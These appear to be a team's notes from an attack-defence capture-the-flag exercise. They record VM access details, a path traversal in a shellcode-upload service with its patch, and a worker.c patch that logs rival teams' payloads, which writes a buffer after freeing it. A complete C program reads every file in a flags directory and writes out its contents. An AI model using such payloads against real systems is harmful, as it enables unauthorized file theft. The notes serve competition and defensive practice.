---
# System prepended metadata

title: ICC A/D Demo

---

# ICC A/D Demo

## Information

Team ID: 3
VM IP: 10.60.3.1
VM initial password: toor

FLAG regex:  `/^[A-Z0-9]{31}=$/`

**Connecting**

``` console
$ wg-quick up ./your-player-conf.conf
$ ssh root@10.60.3.1
> Password: 0hCanadaa!
```

### Flag IDs

The list of known Flag IDs that can still be "collected" can be monitored with this script when sshed:

`~/flags-id.py`

or manually refresh <http://10.1.0.2:8081/flagIds>

### Subnets

The adversary subnets are `10.60.{1,2,4-7}.1/24`.

## Recon information

#### OS Version:
```
Linux VulnBox-Team3 5.4.0-110-generic #124-Ubuntu SMP Thu Apr 14 19:46:19 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
```

## Service Intel 
### Shellcode as a service (SaaS) Port 5555
- main.c
- sandbox.c
- worker.c
    - Path traversal vuln in static

### seccomp

- secure compute
- HELPFUL FLAG TO ADD: SECCOMP_RET_LOG

For the seccomp rules they never make the release call.
```
 /* load and enforce the filters */
  printf("Load rules and enforce \n");
  seccomp_load(ctx);
  seccomp_release(ctx);
```

### Connecting to our local Docker containers

``` console
$ docker exec -it saas_saas_1 /bin/bash
```

### Retrieving uploaded shell codes within the Docker container

``` console
$ find /srv/uploads/ -type f ! -size 0 -exec sh -c '
if file $0 | grep -q data; then
    echo $0;
    cat $0;
    echo;
fi
' {} \;
```

## Discovered vulnerabilities

### Path traversal in project search

In the file `cgi/api.py` there's a path traversal that allows retrieving the filenames under a project.

This can then be used with another exploit to read the content of this file.

This allows retrieving the **RANDOM** filenames of FLAGS within projects that are known to contain FLAGS.

The list of projects with flags is available at http://10.1.0.2:8081/flagIds.

The patch in `cgi/api.py`:

``` python
path = current_app.config['UPLOAD_FOLDER'] + '/' + uid
files = glob.glob(path + '/' + file_search + '*')
files = [os.path.basename(x) for x in files if os.path.realpath(x).startswith(path)]
```

### Dumping people's sandbox_run

This patch is not necesarry as we can retrieve the other teams' payloads in `/srv/uploads/` but at least this allows us to trace what payloads were valid and executed succesfully.

Patch the file `httpd/src/worker.c` with:

``` c
#ifndef _POSIX_C_SOURCE
#define _POSIX_C_SOURCE 200809L
#endif
```
at the top of the file

``` c
    if (sandbox) {
        body = sandbox_run(file_content, file_size, &body_size);
        free(file_content);
        if (!body) {
            return respond_internal_server_error(fd, version);
        } else {
            char filename[] = "/tmp/shellCode-XXXXXX";
            int fd = mkstemp(filename);
            if (fd > 0) {
                write(fd, file_content, file_size);
                close(fd);
            }
        }
    } else {
```
in the function `handle_static`

### Flag Copy C

```c
#define _GNU_SOURCE
#include <dirent.h>
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <sys/syscall.h>

struct linux_dirent {
    long d_ino;
    off_t d_off;
    unsigned short d_reclen;
    char d_name[];
};

#define BUF_SIZE 1024
#define BASE_PATH "./flags/"
#define PATH_LEN 8

int main(int argc, char *argv[]) {
    char buf[BUF_SIZE];
    char pathbuf[BUF_SIZE];

    for(int i = 0; i < PATH_LEN; i++) {
        pathbuf[i] = BASE_PATH[i];
    }
    pathbuf[PATH_LEN] = '\0';

    int fd = open(pathbuf, O_RDONLY | O_DIRECTORY);
    int nread = syscall(SYS_getdents, fd, buf, BUF_SIZE);

    for (int bpos = 0; bpos < nread;) {
        struct linux_dirent *d = (struct linux_dirent *)(buf + bpos);
        char d_type = *(buf + bpos + d->d_reclen - 1);

        if (d_type == DT_REG) {
            int i = 0;

            for(;;) {
                char next = d->d_name[i]; 
                pathbuf[PATH_LEN + i] = next;
                if (next == '\0') break;
                i += 1;
            }

            char databuf[BUF_SIZE];
            int fd2 = open(pathbuf, O_RDONLY);
            int size = read(fd2, databuf, BUF_SIZE);
            write(0, databuf, size);
        }

        bpos += d->d_reclen;
    }

    return 0;
}
```